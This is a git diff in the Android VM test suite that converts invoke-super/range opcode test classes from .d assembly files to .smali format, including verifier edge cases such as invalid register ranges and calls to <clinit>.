diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10.d
deleted file mode 100644
index baca689..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_10.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_10
-.super java/lang/Object
-
-.method static <clinit>()V
-    return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-    invoke-super/range {v0}, dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_10/<clinit>()V
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10.smali
new file mode 100644
index 0000000..fcbdb01
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_10.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10;
+.super  Ljava/lang/Object;
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+    invoke-super/range {v0}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10;-><clinit>()V
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11.d
deleted file mode 100644
index 7cc537c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_11.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-super/range {v6}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11.smali
new file mode 100644
index 0000000..dc0925e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_11.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-super/range {v6}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12.d
deleted file mode 100644
index 38cd7d2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_12.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_12
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-
-.method public run()V
-.limit regs 8
-       move-object v4, v5
-       invoke-super/range {v4..v5}, dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_12/testString(Ljava/lang/String;)V
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12.smali
new file mode 100644
index 0000000..5dbddc1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_12.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 8
+       move-object v4, v5
+       invoke-super/range {v4..v5}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12;->testString(Ljava/lang/String;)V
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13.d
deleted file mode 100644
index d177e76..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_13.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_13
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method private toIntPvt()I
-.limit regs 3
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13/toIntPvt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13.smali
new file mode 100644
index 0000000..a5666f7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_13.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method private toIntPvt()I
+.registers 3
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13;->toIntPvt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14.d
deleted file mode 100644
index c90b576..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14.d
+++ /dev/null
@@ -1,61 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_14.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_14
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 7
-
-    const v1, 123
-    const v2, 659
-    
-    const v4, 300
-    const v5, 3
-    move-object v3, v6
-    invoke-super/range {v3..v5}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14/testArgsOrder(II)I
-
-    move-result v3
-    const v4, 100
-    if-ne v3, v4, Label0
-
-    const v4, 123
-    if-ne v1, v4, Label0
-
-    const v4, 659
-    if-ne v2, v4, Label0
-    
-    const v0, 1
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-.method public testArgsOrder(II)I
-.limit regs 4
-    const v0, 0
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14.smali
new file mode 100644
index 0000000..4cdeba56
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14.smali
@@ -0,0 +1,61 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_14.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 7
+
+    const v1, 123
+    const v2, 659
+    
+    const v4, 300
+    const v5, 3
+    move-object v3, v6
+    invoke-super/range {v3..v5}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 100
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
+    const v4, 659
+    if-ne v2, v4, :Label0
+    
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+.method public testArgsOrder(II)I
+.registers 4
+    const v0, 0
+    return v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15.d
deleted file mode 100644
index 7c57710..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_15.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15/testN()V
-       return-void
-.end method
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15.smali
new file mode 100644
index 0000000..581cb12
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_15.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15;->testN()V
+       return-void
+.end method
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16.d
deleted file mode 100644
index 90d9a21..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16.d
+++ /dev/null
@@ -1,26 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_16.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 3
-       invoke-super/range {v2}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16.smali
new file mode 100644
index 0000000..77a6edb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_16.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+       invoke-super/range {v2}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17.d
deleted file mode 100644
index 962adb5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_17.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_17
-.super dot/junit/opcodes/invoke_super_range/d/TSuper2
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper2/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17/toInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17.smali
new file mode 100644
index 0000000..4a1b187
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_17.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18.d
deleted file mode 100644
index 709fad6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_18.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_super_range/TestStubs;)V
-.limit regs 5
-
-       invoke-super/range {v4}, dot/junit/opcodes/invoke_super_range/TestStubs/TestStub()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18.smali
new file mode 100644
index 0000000..0477975
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_18.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_super_range/TestStubs;)V
+.registers 5
+
+       invoke-super/range {v4}, Ldot/junit/opcodes/invoke_super_range/TestStubs;->TestStub()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19.smali
new file mode 100644
index 0000000..9aa28aa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19;
+.super Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+.source "T_invoke_super_range_19.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 4
+
+    move-object v0, p0
+
+    const/4 v1, 0x1
+
+    invoke-super/range {v0 .. v1}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19;->toInt(I)I
+
+    move-result v0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2.d
deleted file mode 100644
index b8c9051..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_2.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_2
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 8
-       const v7, 0    
-       invoke-super/range {v7}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2/toInt()I
-
-       move-result v0
-       return v0
-.end method
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 777
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2.smali
new file mode 100644
index 0000000..6d70e36
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
